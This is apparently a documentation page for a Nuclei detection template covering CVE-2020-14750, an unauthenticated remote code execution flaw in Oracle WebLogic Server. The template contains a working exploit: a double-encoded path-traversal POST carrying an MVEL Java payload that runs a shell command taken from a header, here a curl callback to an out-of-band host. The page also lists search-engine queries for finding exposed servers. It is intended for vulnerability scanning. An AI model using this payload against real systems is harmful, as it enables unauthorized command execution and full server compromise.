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Oracle WebLogic Server - Remote Command Execution

ID: CVE-2020-14750

Severity: critical

Author: princechaddha,DhiyaneshDk

Tags: cve2020,cve,rce,oracle,weblogic,unauth,kev,packetstorm

Description

Section titled “Description”

Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.

YAML Source

Section titled “YAML Source”
id: CVE-2020-14750


info:
  name: Oracle WebLogic Server - Remote Command Execution
  author: princechaddha,DhiyaneshDk
  severity: critical
  description: |
    Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
  remediation: |
    Apply the latest security patches provided by Oracle to mitigate this vulnerability.
  reference:
    - https://github.com/pprietosanchez/CVE-2020-14750
    - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14750
    - http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14750
    epss-score: 0.97546
    epss-percentile: 0.99996
    cpe: cpe:2.3:a:oracle:fusion_middleware:10.3.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: oracle
    product: fusion_middleware
    shodan-query:
      - http.html:"Weblogic Application Server"
      - http.title:"weblogic"
      - http.html:"weblogic application server"
    fofa-query:
      - title="weblogic"
      - body="weblogic application server"
    google-query: intitle:"weblogic"
  tags: cve2020,cve,rce,oracle,weblogic,unauth,kev,packetstorm


http:
  - raw:
      - |
        @timeout: 10s
        POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        cmd: curl {{interactsh-url}}
        Content-Type: application/x-www-form-urlencoded


        _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
        weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
        java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
        field.setAccessible(true);
        Object obj = field.get(adapter);
        weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
        String cmd = req.getHeader("cmd");
        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
        if (cmd != null) {
            String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
            weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
            res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
            res.getServletOutputStream().flush();
            res.getWriter().write("");
        }executeThread.interrupt();
        ");


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms DNS Interaction
        words:
          - "dns"


      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION="


      - type: regex
        part: body
        regex:
          - '<html><head></head><body>(.*)</body></html>'
# digest: 490a0046304402202c23af5d710380be6686a86902b367a30991caf8b67cd57ab2d684c8f811292b02200895e81c356b400403db5c859d3dc07a0676af620041bfb91b55287c9b034b9a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-14750.yaml"

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